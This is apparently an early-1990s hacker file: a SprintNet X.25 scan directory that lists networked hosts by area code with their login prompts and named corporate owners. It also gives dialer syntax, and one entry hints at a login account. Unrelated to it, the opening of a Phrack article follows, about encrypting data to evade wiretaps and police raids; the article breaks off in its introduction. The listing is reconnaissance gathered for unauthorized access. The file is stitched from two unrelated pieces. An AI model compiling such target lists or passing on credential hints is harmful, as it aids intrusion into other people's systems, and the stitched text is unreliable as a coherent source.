703 ‑ Virginia Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

703 40 VAX/VMS

703 41 VAX/VMS

703 44 AOS Project HOPE

703 55 *

703 56 *

703 57 SELECT A SERVICE: TSO WYLBUR CMS PCI

703 137 *

703 157 ZA60001 ‑ COM‑PLETE IS ACTIVE

703 160 VAX/VMS

708 ‑ Illinois Scanned: [0 ‑ 1000]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

708 34 USER ID

708 50 Please enter authorized ID:

708 54 $ VAX/VMS Duff & Phelps Corporate VAX 8350 (CO)

708 66 $ CONNECTED TO PACKET/74

708 70 VAX/VMS System LPCOMA

708 133 VAX/VMS

708 138 *

708 142 Enter user name:

708 146 *

708 152 ORBIT

708 153 ORBIT

708 154 ORBIT

708 155 ORBIT

708 156 ORBIT

708 157.4 Orbit PAD

708 157.5 Maxwell Onlines' File Transfer BBS

708 158 ncp02> enter system id (brs)

708 161 CONNECTED TO PACKET/94

708 171 Unix/SysV FTD BBS (Flowers..)

708 178 Unix/SysV FTD BBS

708 237 Prime PRIMENET 22.1.3 DZ‑CHI

708 240 USER ID

708 241 USER ID

708 242 USER ID

708 243 USER ID

708 244 USER ID

708 245 USER ID

708 246 USER ID

708 247 USER ID

708 248 USER ID

708 249 USER ID

708 250 USER ID

708 251 USER ID

708 252 USER ID

708 253 USER ID

708 254 USER ID

708 260 ORBIT

708 261 ncp02> enter system id (brs)

708 272 $ DTC 'H' or '?' for help

708 278 *

708 340 ORBIT

708 341 ORBIT

708 343 ORBIT

708 346 ENTER APPLID: V=VTAM, A=APPLA, B‑APPLB, C=APPLC 708 1030 ORBIT

708 1031 ORBIT

708 1032 ORBIT

708 1033 ORBIT

708 1034 ORBIT

711 ‑ unknown Scanned: various

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

711 15 Prime

714 ‑ California Scanned: 0 ‑ 300

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

714 4 $ outdial (714)

714 23 $ outdial (714)

714 24 $ outdial (714)

714 50 Unix atma_1

714 55 $ HP‑3000 HP957.MIS.FUJITSU

714 102 $ ? \

714 119 $ ? \ outdials? (barred to my pad)

714 121 $ ? /

714 124 $ ? /

714 130 $ MMSA ‑‑‑ ENTER APPLICATION ID :

714 131 Prime PRIMENET 22.1.2 CAJH

714 133 *

714 134

714 138 $ MMSA ‑‑‑ ENTER APPLICATION ID :

714 139 $ MMSA ‑‑‑ ENTER APPLICATION ID :

714 210 $ outdial (global)

714 213 $ ?

714 236 *

714 242 VM/CMS

714 250 *

716 ‑ New York Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

716 50

716 140

716 141 *

716 232 TSO Bausch and Lomb Data Center

716 233 TSO Bausch and Lomb Data Center

716 234 TSO B + L DATA CENTER SERVICES

716 235 TSO B + L DATA CENTER SERVICES

716 236 TSO B + L DATA CENTER SERVICES

716 237 TSO B + L DATA CENTER SERVICES

716 238 TSO B + L DATA CENTER SERVICES

716 239 TSO B + L DATA CENTER SERVICES

716 240 TSO B + L DATA CENTER SERVICES

716 241 TSO B + L DATA CENTER SERVICES

716 242 TSO B + L DATA CENTER SERVICES

716 603 TSO B + L DATA CENTER SERVICES

716 605 TSO B + L DATA CENTER SERVICES

717 ‑ Pennsylvania Scanned: [0 ‑ 500]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

717 24 *

717 31

717 32 *

717 33 *

717 34 *

717 44

717 45 VOS (use "list_users")

717 46 VOS

717 47 Woolworth Management Information Center X.25 717 48 Woolworth Management Information Center X.25 717 51 Woolworth Management Information Center Multi‑System 717 54 $TM/ID: (Sprint Address Directory) 717 55 $TM/ID:

717 56 $TM/ID:

717 150 *

717 160 *

717 161 *

717 162 *

717 163 *

717 234 $ HP‑3000 hello field.support

717 242 $

717 243 CONNECTED TO PACKET/400

747 ‑ Boeing Scanned: [N/A]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

747 Note: All addresses in this prefix pass through a network security validator. I was unable to get passed it and unable to scan this prefix.

Network validations as follows:

ENTER USERID>

ENTER PASSWORD>

ENTER SERVICE NAME>

INVALID USER IDENTIFICATION

After too many attempts, you get this cheerful message:

NOTICE!!! This is a private network. It is restricted to authorized users only. If you do not have authorization, you are warned to disconnect at once. Actual or attempted use, access, communication or examination by unauthorized persons will result in criminal and civil prosecution to the full extent of the law.

If you require assistance in the use of this network or access to this network, please call:

206‑865‑7168

if no answer 206‑234‑0911

755 ‑ unknown Scanned: [various]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

755 1001 $ Prime

755 1002 $ Prime

755 1003 $ Prime

755 1004 $ Prime

755 1012 $ MHP201A IUX0306 APPLICATION:

755 1014 $ MHP201A LUX0502 APPLICATION:

755 1020 $

755 1023 $ MHP201A ITVG0182 APPLICATION:

755 1025 $ MHP201A ITVG0182 APPLICATION:

757 ‑ unknown Scanned: [various]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

757 120 (echo)

757 126 MSG10‑RJRT TERMINAL‑ID:GSSCXB61 IS NOW IN SESSION

784 ‑ unknown Scanned: [various]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

784 11000 $ Operator:

787 ‑ unknown Scanned: [various]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

787 0 Prime

787 1 Prime

787 2 Prime

787 10001$

787 50001 USER ID‑‑> (diverted for network validation) 787 50002$ Enter profile ID:

787 50003$

787 50005

787 50006$

787 70001

787 70002$

787 90001 Prime

787 90003$

787 90006 Prime PRIMENET 23.2.0v.PSWI STH‑A

787 90007$

787 90008 CRYPTO ENTER "IDX" OR "ID" AND USER ID ‑‑>

787 90012

787 90014 VAX/VMS

787 90015$ USER ID‑‑>

787 90016$

787 90018$

787 90023$

787 90025$ VAX/VMS V{lkommen...

787 90026$ access barred

789 ‑ unknown Scanned: [various]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

789 11000 Prime

801 ‑ Utah Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

801 25 Wasatch System.

801 26 Wasatch System.

801 27 Wasatch System.

801 54 $ VAX/VMS WELCOME TO SOLO ‑ Unathorized use prohibited 801 250 ID?>

801 260

801 360 *

801 362

804 ‑ Virginia Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

804 35 VAX/VMS

804 50 *

804 153

804 241 $ CONNECTED TO PACKET/74

804 242 *

804 243 *

804 244 *

804 245 *

804 256 CONNECTED TO PACKET/94

804 261 *

804 263 *

804 264 *

805 ‑ California Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

805 50 VAX/VMS

805 51 VAX/VMS

805 52 VAX/VMS

805 150 Prime PRIMENET 22.0.1 MBM

805 230 $

810 ‑ unknown Scanned: various

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

810 26 *

811 ‑ unknown Scanned: various

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

811 13.12 *

811 13.16 Unix/SysV

811 15 *

811 17 $ HP‑3000

811 21 $ Unix

811 22 $ Unix

811 24 $ Unix

811 25 TACL 1>

811 27.18 Unix/SysV

811 27.19 Unix/SysV

811 43.14 Unix/SysV

811 43.15 Unix/SysV

811 67

811 68

811 76.18 Unix/SysV Highlands VMS A login:

811 76.19 DACS1 (try 'help' ‑ tons of cmds available)

811 84.19 * stat==STATUS STATISTICS?

811 85.2 *

811 141

811 142

811 150.10 *

811 315

811 316

811 411 MHP201A UEVT20U0

811 412 BA

811 413 @@

811 414 @@

811 415

813 ‑ Florida Scanned: [0 ‑ 1000]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

813 20 *

813 21 *

813 48 *

813 52 $ Price Waterhouse

813 53 *

813 55 $ Price Waterhouse

813 59 $ Price Waterhouse National Admin Center

813 73 VM/CMS

813 74 $$ 4200 MODEL:

813 124 *

813 138 *

813 143A IBM Information Services.

813 147A IBM Information Services.

813 149 *

813 151 $ Price Waterhouse

813 153 *

813 154 *

813 172A IBM Information Services.

813 174A IBM Information Services, Information Network 813 237 *

813 240

813 248

813 261 *

813 266A IBM Information Services.

813 267A IBM Information Services.

813 269 VAX/VMS

813 270 VAX/VMS

813 271 Access Code:

813 272 Prime

813 277 U#=

813 330 *

813 333

813 352

813 358 USER ID

813 377

813 433 USER ID

813 434 USER ID

813 436 U#=

813 438 VAX/VMS

813 450

813 456 USER ID

813 457 USER ID

813 458 USER ID

813 459 USER ID

813 460 USER ID

813 461 USER ID

813 465 USER ID

813 466 USER ID

813 467 USER ID

813 468 USER ID

813 469 USER ID

813 470 USER ID

813 471 USER ID

813 472 USER ID

813 660

813 1330 *

813 1340 *

814 ‑ Pennsylvania Scanned: [0 ‑ 200]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

814 50 Prime PRIMENET 23.2.0.R39 SYSA

814 130 *

816 ‑ Missouri Scanned: [0 ‑ 1000 & various]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

816 31 *

816 36

816 179 *

816 231 VAX/VMS

816 237 VAX/VMS

816 238 VAX/VMS

816 258 *

816 259 *

816 341

816 356 *

816 358 CONNECTED TO PACKET/94

816 359 CONNECTED TO PACKET/94

816 364 *

816 434

816 442 *

816 444 *

816 447 *

816 450 VAX/VMS

816 455

816 456

816 462 *

816 479 *

816 1041 $ (echo)

816 1042 $

816 1045 $

816 1046 $

816 1059 *

816 1058 *

816 1300 Major BBS WELCOME TO THE OASIS BBS ‑ NODE 1

816 90031*

816 90032*

816 90038

816 90042 VAX/VMS #3MRPGWY

818 ‑ California Scanned: [0 ‑ 300]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

818 21 *

818 30 *

834 ‑ unknown Scanned: various

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

834 10003 VAX/VMS

834 10004 VAX/VMS

834 10005 VAX/VMS

834 10006 VAX/VMS

834 10007 VAX/VMS

834 10050 through 10099 are all VAXes

834 10100 Unix BIX ‑‑ ttyx1c, 34101 (Byte Information eXchange) 834 10101 through 10999 are all VAXes

834 20005 Prime PRIMENET 20.2.7 IREX

834 20009 MHP1201I TERMINAL CONNECTED TO PACKET/400 834 20201 (no response)

834 20202

834 20203

834 20204

834 20205

840‑849 ‑ unknwon Scanned:[N/A]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

840 Note: All these prefixes except 845 pass through Sprint's 841 TAMS Network validation. I was unable to get passed this 842 to scan. These addresses are only left in for the sake of 843 completeness.

844

845 * 845 seems to be disabled.

846

847 Network validation as follows:

848

849 YOUR CALL HAS BEEN DIVERTED FOR NETWORK USER VALIDATION. USER ID :

PASSWORD :

BH:INVALID USER ID OR PASSWORD.

890‑895 ‑ unknown Scanned:[N/A]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

890 $ Note: none of these addresses accept collect connections, 891 $ and all of them pass through some sort of network 892 $ validation. I was unable to get past this, and scan 893 $ them. These are only left in for the sake of completeness. 894 $

895 $ Network validation as follows:

ADTN USER ID:

ADTN PASSWORD:

909 ‑ SprintNet Scanned: various

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

909 3 $ SprintNet Pad

909 6

909 8 Prime

909 9 Prime

909 10 Prime

909 12 Prime

909 13

909 14 SprintNet Pad

909 18

909 18.11 DJ

909 18.13 CARL

909 18.14 APPLE

909 18.15 GTEES

909 18.16 SONIC

909 18.17 NLM

909 18.18 ECSBBDS

909 18.19 ECSDIRE

909 18.20 ECSDREV

909 18.22 PLANETM

909 18.23 PLANDIR

909 18.24 SCANDIR

909 18.25 SCANECS

909 18.26 GRASSRT

909 18.27 GABST

909 18.28 INPLAND

909 18.29 INPLANM

909 18.30 ECHO

909 18.31 FARS

909 18.33 ACTB

909 18.34 OAG

909 18.35 CAPLANM

909 18.38 PLANPBB

909 18.39 DOAG

909 18.40 ACSDB

909 18.41 TOP

909 18.42 PAGES

909 18.43 CHEMJOB

909 18.44 OHPLANM

909 18.45 OHPLAND

909 18.46 ILPLANM

909 18.47 ILPLAND

909 18.48 GWN

909 18.49 CHEMREF

909 18.50 BOREAL

909 18.51 COMPETE

909 18.52 SAMI

909 18.53 UTINFO

909 18.54 KWIC

909 18.55 GRAD

909 18.56 SYM

909 18.57 CONDO

909 18.58 ISTHMUS

909 18.59 NETWRKS

909 18.70 PLANOSA

909 18.71 GROUP

909 18.72 CMADR

909 18.73 NEWS

909 18.74 IEEEDB

909 18.75 XDATA

909 18.76 LOCAL

909 18.77 CAPLAND

909 18.78 ERC

909 18.79 SEAGRAN

909 18.80 NSSDC

909 18.83 COLD

909 18.84 GEOREF

909 18.85 NTIS

909 18.86 CURRENT

909 18.87 SABRE

909 18.88 ARCTIC

909 18.89 ECS

909 23 Prime

909 26 Prime

909 27 Prime

909 33 $ (not from this DTE)

909 38 User name?

909 39 Prime

909 44 Prime

909 49 USER ID

909 51 Your call cannot be completed (unknown destination). 909 52 Your call cannot be completed (unknown destination). 909 53 User name?

909 54

909 55 USER ID

909 58

909 58

909 62 User name?

909 63 User name?

909 65 User name?

909 77 Prime

909 79 MHP201A XLU76001 * VERSION 6.1.3 *

909 82 Prime

909 90 Prime

909 92 Prime

909 94 Prime

909 95 Prime

909 97 Prime

909 98 Prime Please login [CMOS]:

909 100 Prime

909 103 TELENET ASYNC TO 3270 SERVICE

909 104 TELENET ASYNC TO 3270 SERVICE

909 107 *

909 116 Prime

909 117 Prime

909 121

909 123 User name?

909 125

909 126

909 130 Prime

909 131 Prime

909 136 Prime

909 137 Prime

909 139 Prime

909 140 TACL 1>

909 141 Prime

909 143 Prime

909 144 Prime

909 146 User name?

909 147 User name?

909 148 User name?

909 149 User name?

909 151

909 153 TACL 1>

909 155 User name?

909 158 User name?

909 159 User name?

909 160 User name?

909 161 User name?

909 162 User name?

909 165 User name?

909 167 TACL 1>

909 168 User name?

909 171 TELENET ASYNC TO 3270 SERVICE

909 172 TELENET ASYNC TO 3270 SERVICE

909 173 User name?

909 176 Prime

909 178 USER ID

909 179 USER ID

909 184 Prime

909 205 Prime

909 206 Prime

909 212 Prime Please login [S212]:

909 235 Prime Please Login [S235]:

909 236 Prime Please Login [S235]:

909 239 Prime

909 302 Prime Please login [S302]:

909 331 *

909 352 !LOAD AND FUNCTION TESTER

909 353 !LOAD AND FUNCTION TESTER

909 354 !LOAD AND FUNCTION TESTER

909 355 !LOAD AND FUNCTION TESTER

909 400 User name?

909 401 User name?

909 402 Unix DG/UX Release 4.31. AViiON (tpx1b)

909 403 User name?

909 404 User name?

909 406 User name?

909 407 User name?

909 408 User name?

909 409 User name?

909 500 Prime

909 501 Prime

909 502 Prime

909 503 Prime

909 555 Unix DG/UX (joker)

909 615 Prime

909 623 User Name?

909 626 User name?

909 627 User name?

909 628 User name?

909 629 User name?

909 630 User name?

909 631 PC‑Pursuit BBS

909 640 User name?

909 641 User name?

909 642 User name?

909 643 User name?

909 644 Unix X.29 Terminal Service (courts)

909 645 User name?

909 649

909 650 User name?

909 651 User name?

909 652 Unix X.29 Terminal Service (courts)

909 656 REJECTING 00 00

909 661

909 751 SPRINT EASTERN REGION NETWORK

909 761 User name?

909 762 User name?

909 763 User name?

909 764 TELENET ASYNC TO 3270 SERVICE

909 767 SPRINT EASTERN REGION NETWORK

909 769

909 770 Unix X.29 Terminal Service (fan2)

909 772 Prime

909 776 Unix DG/UX Release 4.31. AViiON (tpx1b)

909 777 TELENET ASYNC TO 3270 SERVICE

909 779 TELENET ASYNC TO 3270 SERVICE

909 784 TELENET ASYNC TO 3270 SERVICE

909 798 Prime Please login [S798]

909 800 User name? help

909 801 Unix DG/UX Release 4.31. AViiON (tpx1b)

909 805 User name?

909 806 Your call cannot be completed (unknown destination). 909 811 Unix DG/UX Release 4.31. AViiON (tpx1b)

909 813 User name?

909 814 User name?

909 816 User name?

909 817 User name?

909 818 User name?

909 819 User name?

909 822 User name?

909 823 User name?

909 824 User name?

909 828 User name?

909 830 User name?

909 831 User name?

909 840 User name?

909 841 User name?

909 842 User name?

909 843 User name?

909 844 User name?

909 845 User name?

909 846 Your call cannot be completed (unknown destination). 909 847

909 849 Unix X.29 Terminal Service

909 900 Prime

909 901 Prime

909 2070 Prime Please Login [S235]:

909 2075 Prime Please login [S2075]:

909 2080 Prime Please login [CMOS]:

909 2086 Unix DG/UX (iceman)

909 2090 Prime Please login [S798]

909 2091 Prime

909 2092 Prime

910 ‑ SprintNet Scanned: various

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

910 100 Prime

910 101 Prime

910 200 Prime

910 400 Prime

910 401 Prime

910 500 Prime

910 501 Prime

910 503 Prime Please Login.

910 504 Prime Please Login.

910 600 Prime

910 601 Prime

920 ‑ unknown Scanned: [various]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

920 102 INSTITUTE OF NUCLEAR POWER OPERATIONS

920 103 INSTITUTE OF NUCLEAR POWER OPERATIONS

920 104 You are now connected to the computer. (16) 920 105 INSTITUTE OF NUCLEAR POWER OPERATIONS

920 106 You are now connected to the computer. (16) 920 107 You are now connected to the computer. (16)

933 ‑ unknown Scanned: [various]

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

933 10000 Unix DG/UX Release 4.32. AViiON (atlantic) Note: all other addr's after 1000 = BUSY!

Mnemonic Addresses Scanned: N/A

ADDRESS OS/SYSTEM PROMPT/RESPONSE/OWNER/ETC LOGIN/PW

‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

APPLE Unix 4.3 BSD UNIX (apple.com)

BCS ACCESS TO THIS ADDRESS NOT PERMITTED.

BETA (hangs)

BIX Unix Welcome to BIX ‑‑ ttyx11c, 34101

BRS ENTER BRS PASSWORD

CCC02 GOOD DAY, PLEASE ENTER YOUR ID NUMBER CCC03 GOOD DAY, PLEASE ENTER YOUR ID NUMBER CLARIONET Major BBS Userid : new

CMS enter a for astra

COM NOT REACHABLE 05 E6

CONTEL GTE Contel DUAT System (airplane stuff) COS enter a for astra

D41 Prime Primecom Network 19.4Q.111 System 41

D42 Prime Primecom Network 19.4Q.111 System 42

D43 Prime Primecom Network 19.4Q.111 System 43

D44 Prime Primecom Network 19.4Q.111 System 44

D46 Prime Primecom Network 19.4Q.111 System 46

D52 Prime Primecom Network 19.4Q.111 System 52

D56 Prime Primecom Network 18.4Y System 56

D57 Prime Primecom Network 19.4Q.111 System 57

D61 Prime Primecom Network 19.4Q.111 System 31

D64 Prime Primecom Network 19.4Q.111 System 64 DELPHI VAX/VMS Username:

DIALOG Dialog Information Services

DIR

DOW WHAT SERVICE PLEASE????

DUAT GTE Contel DUAT System

DUNS Dunsnet (D&B)

EIES Unix HP‑UX ciathp A.B7.00 U 9000/835

FAR Please enter your ID number:

FED REJECTING 00 E8

GOLD $

GTEMAIL SprintNet Directory

INFO Your call cannot be completed (unknown destination). IRIS NOT REACHABLE 05 E6

ITI VAX/VMS Usuario :

KIS ACCESS TO THIS ADDRESS NOT PERMITTED. LEXIS Lexis and Nexis

MAIL SprintNet Directory

META Unix tmn!login:

MMM USER ID

MUNI ACCESS TO THIS ADDRESS NOT PERMITTED.

NAS PLEASE ENTER LOGIN

NASA

NET Prime NewsNet

NETX SNPBBS Telenet's NETXBBS (Old PCP/New Buisnesscall bbs?) NLM PLEASE ENTER LOGIN

NSF ACCESS TO THIS ADDRESS NOT PERMITTED.

OAG PLEASE ENTER SUBSCRIBERID;PASSWORD

OLS NOT OPERATING 09 00

ONLINE VOS Please login

ORBIT ENTER ORBIT USERID

PDN Major BBS Public Data Network (BBS) User‑ID? new PLASPEC Unix

PLAY $

PORTAL Portal Communications Company.

PSINET $

PURSUIT SNPBBS PC‑Pursuit BBS

QUICK PLEASE ENTER YOUR BMG USERID :

SIS NOS CDCNET

SPR REMOTE PROCEDURE ERROR 11 51

STK1 ACCESS TO THIS ADDRESS NOT PERMITTED.

STK2 ACCESS TO THIS ADDRESS NOT PERMITTED.

STK3 ACCESS TO THIS ADDRESS NOT PERMITTED. TELEX User name?

TELEMAIL User name?

TPE $ Major BBS (adult chat/bbs) Member‑ID? new

TRACK $

TRW User name?

UNISYS ACCESS TO THIS ADDRESS NOT PERMITTED. USIBM

VONS USER ID

VUTEXT VU/TEXT

WARNER ACCESS TO THIS ADDRESS NOT PERMITTED. WESTLAW ENTER ID

ZIFF **** Invalid sign‑on, please try again ****

PC‑Pursuit Dialers

~~~~~~~~~~~~~~~~~~

Usage: C D/<dialer>/<baud>,<nui>,<password> (Note: bauds are 3, 12, or 24)

NPA Dialer

~~ ~~~~~~

313 MIAAR

404 GAATL

512 TXAUS

617 MABOS

312 ILCHI

708 ILCHI (1‑708+num)

815 ILCHI (1‑815+num)

216 OHCLE

714 CACOL

614 OHCOL

214 TXDAL

817 TXDAL (817+num)

303 CODEN

313 MIDET

818 CAGLE

310 CAGLE (1‑310+num)

213 CAGLE (1‑213+num)

203 CTHAR

516 NYHEM

713 TXHOU

317 ININ12

317 ININ24

816 MOKCI

913 MOKCI

213 CALAN

310 CALAN (1‑310+num)

818 CALAN (1‑818+num)

305 FLMIA

414 WIMIL

612 MNMIN

201 NJNEW

908 NJNEW (1‑908+num)

901 TNMEM

601 TNMEM (1‑601+num)

908 NJNBR

201 NJNBR (1‑201+num)

504 LANOR

212 NYNYO

516 NYNYO (1‑516+num)

718 NYNYO (1‑718+num)

914 NYNYO (1‑914+num)

415 CAOAK (1‑415+num)

510 CAOAK

407 FLORL

415 CAPAL

408 CAPAL (1‑408+num)

510 CAPAL (1‑510+num)

215 PAPHI

602 AZPHO

412 PAPIT

503 ORPOR

919 NCRTP

916 CASAC

801 UTSLC

619 CASDI

415 CASFA

510 CASFA (1‑510+num)

408 CASJO

510 CASJO (1‑510+num)

415 CASJO (1‑415+num)

714 CASAN

310 CASAN (1‑310+num)

213 CASAN (1‑213+num)

206 WASEA

314 MOSLO

618 MOSLO (1‑618+num)

813 FLTAM

202 DCWAS

703 DCWAS (1‑703+num)

301 DCWAS (1‑301+num)

************************End SprintNet Directory 92**************************

Sky

Guide to Encryption

==Phrack Magazine==

Volume Four, Issue Forty‑Two, File 11 of 14

##########################

# The Paranoid Schizophrenics Guide to Encryption # # (or How to Avoid Getting Tapped and Raided) #

##########################

Written by The Racketeer of The /‑/ellfire Club

The purpose of this file is to explain the why and the how of Data Encryption, with a brief description of the future of computer security, TEMPEST.

At the time of this issue's release, two of the more modern software packages use encryption methods covered in this article, so exercise some of your neurons and check into newer releases if they are available. Methods described in this file use PGP, covering an implementation of Phil Zimmermann's RSA variant, and the MDC and IDEA conventional encryption techniques by using PGP and HPACK.

‑‑‑‑‑‑‑‑‑‑

WHY DATA ENCRYPTION?

‑‑‑‑‑‑‑‑‑‑

This isn't exactly the typical topic discussed by me in Phrack. However, the importance of knowing encryption is necessary when dealing with any quasi‑legal computer activity. I was planning on starting my series on hacking Novell Networks (so non‑Internet users can have something to do), but recent events have caused me to change my mind and, instead of showing people how to get into more trouble (well, okay, there is plenty of that in this file too, since you're going to be working with contraband software), I've opted instead to show people how to protect themselves from the long arm of the Law.

Why all this concern?

Relatively recently, The Masters of Deception (MoD) were raided by various federal agencies and were accused of several crimes. The crimes they did commit will doubtlessly cause more mandates, making the already too‑outrageous penalties even worse.

"So?" you might ask. The MoD weren't exactly friends of mine. In fact, quite the contrary. But unlike many of the hackers whom I dealt with in the "final days" prior to their arrest, I bitterly protested any action against the MoD. Admittedly, I followed the episode from the beginning to the end, and the moral arguments were enough to rip the "Hacker World" to pieces. But these moral issues are done, the past behind most of us. It is now time to examine the aftermath of the bust.

According to the officials in charge of the investigation against MoD members, telephone taps were used to gain evidence against members successfully. All data going in and out of their house was monitored and all voice communications were monitored, especially between members.

So, how do you make a line secure? The party line answer is use of effective encryption methods.

Federal investigative agencies are currently pushing for more technological research into the issue of computer security. All of the popular techniques which are being used by hackers today are being used by the government's R&D departments.

